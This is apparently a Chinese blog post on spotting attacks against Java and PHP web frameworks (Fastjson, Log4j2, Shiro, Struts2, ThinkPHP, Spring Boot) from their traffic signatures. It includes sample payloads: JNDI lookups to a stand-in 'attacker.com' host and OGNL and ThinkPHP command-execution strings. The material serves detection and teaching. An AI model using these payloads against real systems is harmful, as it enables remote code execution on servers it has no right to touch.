0.前置知识补充:JNDI 注入攻击
JNDI(Java Naming and Directory Interface)是 Java 提供的一个用于访问和操作目录服务的 API。JNDI 可以通过不同的协议(如 LDAP、RMI、DNS 等)查找并加载远程对象。它为 Java 程序提供了一种统一的方式来访问命名资源,如数据库连接池、远程服务等。
JNDI 注入攻击 发生在应用程序将未经验证的用户输入作为 JNDI 请求的一部分时。攻击者通过向 JNDI 请求中注入恶意协议(如 ldap://attacker.com/malicious),迫使应用加载和执行远程的恶意 Java 类。这种攻击依赖于 JNDI 服务(如 LDAP 或 RMI)来加载远程类,从而使攻击者能够执行恶意代码。
OGNL 表达式的攻击原理 OGNL 允许动态地访问和修改对象的属性、调用方法等,如果不进行适当的过滤,攻击者就可以构造恶意的 OGNL 表达式,执行任意的 Java 方法,甚至系统命令。OGNL 表达式的注入通常通过 URL 或请求的参数传递,攻击者通过 %{} 格式将恶意的 OGNL 表达式插入到请求中。以下是常见的攻击步骤和 Payload 示例:
%{T(java.lang.Runtime).getRuntime().exec('whoami')}
%{}:这是 OGNL 表达式的标志,表示执行一个 OGNL 表达式
1. Fastjson 反序列化漏洞
- 漏洞原理:Fastjson 是一个 Java 序列化/反序列化工具,允许 JSON 数据被转换为 Java 对象。攻击者通过构造恶意 JSON Payload,利用
@type字段来指定一个恶意的类,并在反序列化时执行远程代码执行(RCE)攻击,实质上是一种JNDI 注入攻击。 - 流量特征:
- 特定字段:JSON 数据中包含
@type字段,指向恶意类,常见有 LDAP、RMI 等协议地址。 - HTTP 请求方法:通常使用 POST 请求发送恶意 JSON 数据。
- 请求头:
Content-Type为application/json,表明请求体是 JSON 格式数据。
- 特定字段:JSON 数据中包含
- 示例 Payload:
{ "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://attacker.com/malicious", "databaseName": "exploit" }这将触发 Fastjson 加载恶意类并执行远程命令。
2. Log4j2 反序列化漏洞
- 漏洞原理:Log4j2 是一个常用的 Java 日志框架,存在远程代码执行漏洞。攻击者可以构造包含
jndi:ldap或jndi:rmi等协议的日志数据,从而通过 JNDI 注入进行 RCE。 - 流量特征:
- 特定关键词:请求正文或日志中包含
${jndi:ldap://attacker.com/malicious},表示恶意的 JNDI 注入。 - 请求方法:通常为 POST 请求。
- 请求头:Content-Type 字段为
application/json,因为攻击载荷是 JSON 格式的。
- 特定关键词:请求正文或日志中包含
- 示例 Payload:
{ "log": "${jndi:ldap://attacker.com/malicious}" }利用 Log4j2 配置中 JNDI 注入漏洞,攻击者可以通过日志配置中的 JNDI 地址触发恶意连接。
3. Apache Shiro 反序列化漏洞
-
漏洞原理:Apache Shiro 是一个 Java 安全框架,处理
RememberMeCookie 时存在反序列化漏洞。攻击者通过构造恶意的RememberMeCookie,可以绕过安全控制并执行任意代码。 -
流量特征:
- 特定字段:恶意请求包含
RememberMeCookie,该 Cookie 包含通过 AES 加密后 Base64 编码的数据。 - 请求方法:通常为 POST 请求。
- 请求头:包含
Cookie字段,存储恶意的RememberMecookie。
- 特定字段:恶意请求包含
-
漏洞利用流程:
- Payload 构造:攻击者先构造恶意数据并进行序列化。
- AES 加密:利用 Shiro 默认的 AES 密钥对数据进行加密。
- Base64 编码:将加密后的字节流进行 Base64 编码,作为 Cookie 值。
- 发送请求:将包含恶意
RememberMeCookie 的请求发送到服务器,触发反序列化漏洞。
-
示例 Payload:
RememberMe=Base64EncryptedData -
Shiro 550/721 版本攻击:
- Shiro 550:利用已知的密钥碰撞攻击,无需真实的
RememberMeCookie,只需要攻击者能利用密钥库进行碰撞。 - Shiro 721:AES 密钥不再硬编码,攻击者可以利用有效的登录后 Cookie 值通过 Padding Oracle Attack 进行破解。
- Shiro 550:利用已知的密钥碰撞攻击,无需真实的
4. Struts2 OGNL 远程命令执行
- 漏洞原理:Struts2 是一个常用的 Java Web 框架,OGNL(Object-Graph Navigation Language)表达式在处理输入时未进行适当的过滤,攻击者可以通过构造恶意的 OGNL 表达式进行命令执行攻击。
- 流量特征:
- URL 特征:攻击的 URL 通常以
.do或.action结尾。 - Payload 格式:攻击者构造包含 OGNL 表达式的 URL,常见的 payload 格式是
%{},例如exec()命令。 - 执行函数:攻击者构造的 OGNL 表达式通常包含类似
exec()或_memberAccess等函数。
- URL 特征:攻击的 URL 通常以
- 示例 Payload:
/action.do?param=%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].setHeader('X-Injected','true')}
5. ThinkPHP 5 反序列化漏洞
- 漏洞原理:ThinkPHP 5 框架的某些函数(如
call_user_func_array、phpinfo)存在反序列化漏洞,攻击者可以通过构造恶意的输入进行远程命令执行。 - 流量特征:
- 特定函数:攻击者利用
call_user_func_array或execute等函数执行恶意代码。 - Payload 格式:常见 payload 是通过构造变量
vars[0]=system&vars[1][]=whoami来触发系统命令执行。vars[0]=system&vars[1][]=whoami来触发系统命令执行。 -
vars[0]=system&vars[1][]=whoami
- 特定函数:攻击者利用
6. Spring Boot 信息泄露与命令执行漏洞
- 漏洞原理:Spring Boot 是一个流行的 Java Web 框架,可能存在信息泄露或命令执行漏洞。攻击者可能通过信息泄露接口获取敏感数据,或通过构造请求执行远程命令。
- 流量特征:
- 信息泄露:页面泄露敏感信息,如路由列表、
/v2/api-docs等。 - 命令执行:通过
exec、getRuntime等函数执行命令。
- 信息泄露:页面泄露敏感信息,如路由列表、
- 示例攻击:
-
获取路由列表:
GET /v2/api-docs -
执行系统命令:
exec("whoami")
-
2507

被折叠的 条评论
为什么被折叠?



